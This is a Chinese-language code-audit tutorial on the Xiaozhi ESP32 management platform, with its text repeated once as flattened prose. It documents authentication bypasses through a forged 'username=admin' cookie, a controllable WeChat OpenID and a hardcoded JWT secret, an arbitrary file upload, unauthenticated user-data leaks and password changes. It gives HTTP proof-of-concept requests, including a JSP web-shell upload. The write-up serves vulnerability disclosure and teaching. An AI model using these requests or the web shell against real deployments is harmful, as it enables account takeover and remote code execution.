小智ESP32管理平台代码审计分析
字数 1792 2025-12-04 12:15:15

小智ESP32管理平台代码审计分析教学文档

项目概述

小智ESP32管理平台是基于Xiaozhi ESP32项目开发的Java版本服务端,包含完整的前后端管理平台。该项目采用现代化技术栈,旨在为企业级应用场景提供设备管理解决方案。

技术架构

  • 后端框架:Spring Boot + Spring MVC
  • 前端框架:Vue.js + Ant Design
  • 数据存储:MySQL + Redis
  • 全局响应式:适配各种设备及分辨率

安全审计分析

1. 架构分析

项目采用标准的SSM架构配合前后端分离模式:

  • 前端使用Vue.js框架
  • 后端基于Spring Boot构建
  • 数据库连接使用Mybatis
  • 未发现Shiro或Spring Security安全框架

2. 鉴权机制分析与绕过

2.1 拦截器配置分析

配置文件位置src/main/java/com/xiaozhi/common/config/WebMvcConfig.java

白名单路径配置

"/api/user/login",
"/api/user/register", 
"/api/device/ota",
"/audio/**",
"/uploads/**",
"/ws/**",
"/swagger-ui/**",
"/v3/api-docs/**",
"/swagger-resources/**",
"/webjars/**"

2.2 AuthenticationInterceptor拦截器分析

拦截器通过preHandle方法实现访问控制,存在五处放行逻辑:

第一处放行条件(56-59行):

  • 检查请求路径是否以白名单路径前缀开头
  • 检查接口方法或类是否标注@UnLogin注解

安全风险:白名单路径/api/user/可能导致敏感接口未授权访问

第二处放行条件(62-73行):

  • 从Session中获取用户信息
  • 存在用户信息则放行

第三处放行条件(75-78行)- Cookie伪造漏洞:

// 从Cookie中获取username值
String username = getCookieValue(request, "username");
// 根据username查询用户信息
SysUser user = userService.selectUserByUsername(username);

攻击方法:在请求中添加Cookie: username=admin即可绕过认证

第四处放行条件(80-83行)- 微信登录绕过:

  • 通过getWechatOpenId方法获取wxOpenId参数
  • 参数完全可控,可构造恶意请求绕过认证

第五处放行条件(85-88行)- JWT伪造:

String token = request.getHeader("Authorization").replace("Bearer ", "");
if (jwtUtil.validateToken(token)) {
    // 认证通过
}

安全风险

  • 使用硬编码密钥:DEFAULT_SECRET
  • 配置密钥非强制修改,存在默认密钥风险
  • JWT载荷可控,可构造恶意Token

3. 任意文件上传漏洞

漏洞位置

FileUploadController.java中的uploadFile方法

漏洞分析

// 获取原始文件名并提取后缀
String originalFilename = file.getOriginalFilename();
String extension = originalFilename.substring(originalFilename.lastIndexOf("."));
// 生成新文件名(无后缀校验)
String newFileName = UUID.randomUUID().toString() + extension;
// 调用上传方法
FileUploadUtils.smartUpload(file.getBytes(), baseDir, newFileName);

漏洞点

  1. 仅通过原始文件名提取后缀,未进行安全校验
  2. smartUpload方法中无文件内容类型检测
  3. 支持上传任意文件类型,包括可执行脚本

漏洞利用POC

POST /api/file/upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=WebKitFormBoundary

--WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: image/png

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
--WebKitFormBoundary
Content-Disposition: form-data; name="type"
image
--WebKitFormBoundary--

4. 未授权信息泄露漏洞

4.1 用户信息查询泄露

接口位置UserController.java中的query方法

漏洞描述:通过username参数查询用户敏感信息

利用POC

GET /api/user/query?username=admin HTTP/1.1
Host: target.com

4.2 用户列表查询泄露

接口位置UserController.java中的queryUsers方法

漏洞描述:无参调用返回所有用户信息

SQL语句SELECT ... FROM sys_user WHERE 1 = 1 ORDER BY createTime DESC

利用POC

GET /api/user/queryUsers HTTP/1.1
Host: target.com

5. 未授权任意用户密码修改

漏洞位置

UserController.java中的update方法

漏洞分析

public Result update(@RequestBody Map<String, Object> loginRequest) {
    // 直接更新用户信息,无需旧密码验证
    userService.update(loginRequest);
}

漏洞特征

  • 更新条件基于username、email、tel等可控参数
  • 无需验证原密码即可修改密码
  • 结合信息泄露漏洞可获取目标用户名

漏洞利用POC

POST /api/user/update HTTP/1.1
Host: target.com
Content-Type: application/json

{
    "username": "targetUser",
    "password": "NewPassword123",
    "password2": "NewPassword123"
}

安全加固建议

1. 认证机制加固

  • 移除Cookie和微信OpenID的直接认证方式
  • 使用强随机密钥替换JWT硬编码密钥
  • 实现完整的Session管理机制

2. 访问控制加固

  • 细化接口权限控制,避免路径前缀匹配的粗粒度控制
  • 对敏感操作实施二次认证
  • 实现基于角色的访问控制(RBAC)

3. 文件上传安全

  • 实施白名单文件类型校验
  • 检测文件内容真实性(魔数检测)
  • 限制上传目录的执行权限
  • 对上传文件进行病毒扫描

4. 数据安全保护

  • 敏感接口实施身份认证和权限验证
  • 对用户查询结果进行数据脱敏
  • 密码修改需验证原密码
  • 实施API速率限制防止暴力枚举

总结

本次审计发现小智ESP32管理平台存在严重的安全缺陷,主要集中在认证绕过、未授权访问和文件上传等方面。建议开发团队按照上述加固建议进行全面安全整改,特别是在生产环境部署前必须解决这些安全隐患。

小智ESP32管理平台代码审计分析教学文档 项目概述 小智ESP32管理平台是基于Xiaozhi ESP32项目开发的Java版本服务端,包含完整的前后端管理平台。该项目采用现代化技术栈,旨在为企业级应用场景提供设备管理解决方案。 技术架构 后端框架 :Spring Boot + Spring MVC 前端框架 :Vue.js + Ant Design 数据存储 :MySQL + Redis 全局响应式 :适配各种设备及分辨率 安全审计分析 1. 架构分析 项目采用标准的SSM架构配合前后端分离模式: 前端使用Vue.js框架 后端基于Spring Boot构建 数据库连接使用Mybatis 未发现Shiro或Spring Security安全框架 2. 鉴权机制分析与绕过 2.1 拦截器配置分析 配置文件位置 : src/main/java/com/xiaozhi/common/config/WebMvcConfig.java 白名单路径配置 : 2.2 AuthenticationInterceptor拦截器分析 拦截器通过 preHandle 方法实现访问控制,存在五处放行逻辑: 第一处放行条件 (56-59行): 检查请求路径是否以白名单路径前缀开头 检查接口方法或类是否标注 @UnLogin 注解 安全风险 :白名单路径 /api/user/ 可能导致敏感接口未授权访问 第二处放行条件 (62-73行): 从Session中获取用户信息 存在用户信息则放行 第三处放行条件 (75-78行)- Cookie伪造漏洞: 攻击方法 :在请求中添加 Cookie: username=admin 即可绕过认证 第四处放行条件 (80-83行)- 微信登录绕过: 通过 getWechatOpenId 方法获取wxOpenId参数 参数完全可控,可构造恶意请求绕过认证 第五处放行条件 (85-88行)- JWT伪造: 安全风险 : 使用硬编码密钥: DEFAULT_SECRET 配置密钥非强制修改,存在默认密钥风险 JWT载荷可控,可构造恶意Token 3. 任意文件上传漏洞 漏洞位置 FileUploadController.java 中的 uploadFile 方法 漏洞分析 漏洞点 : 仅通过原始文件名提取后缀,未进行安全校验 smartUpload 方法中无文件内容类型检测 支持上传任意文件类型,包括可执行脚本 漏洞利用POC 4. 未授权信息泄露漏洞 4.1 用户信息查询泄露 接口位置 : UserController.java 中的 query 方法 漏洞描述 :通过username参数查询用户敏感信息 利用POC : 4.2 用户列表查询泄露 接口位置 : UserController.java 中的 queryUsers 方法 漏洞描述 :无参调用返回所有用户信息 SQL语句 : SELECT ... FROM sys_user WHERE 1 = 1 ORDER BY createTime DESC 利用POC : 5. 未授权任意用户密码修改 漏洞位置 UserController.java 中的 update 方法 漏洞分析 漏洞特征 : 更新条件基于username、email、tel等可控参数 无需验证原密码即可修改密码 结合信息泄露漏洞可获取目标用户名 漏洞利用POC 安全加固建议 1. 认证机制加固 移除Cookie和微信OpenID的直接认证方式 使用强随机密钥替换JWT硬编码密钥 实现完整的Session管理机制 2. 访问控制加固 细化接口权限控制,避免路径前缀匹配的粗粒度控制 对敏感操作实施二次认证 实现基于角色的访问控制(RBAC) 3. 文件上传安全 实施白名单文件类型校验 检测文件内容真实性(魔数检测) 限制上传目录的执行权限 对上传文件进行病毒扫描 4. 数据安全保护 敏感接口实施身份认证和权限验证 对用户查询结果进行数据脱敏 密码修改需验证原密码 实施API速率限制防止暴力枚举 总结 本次审计发现小智ESP32管理平台存在严重的安全缺陷,主要集中在认证绕过、未授权访问和文件上传等方面。建议开发团队按照上述加固建议进行全面安全整改,特别是在生产环境部署前必须解决这些安全隐患。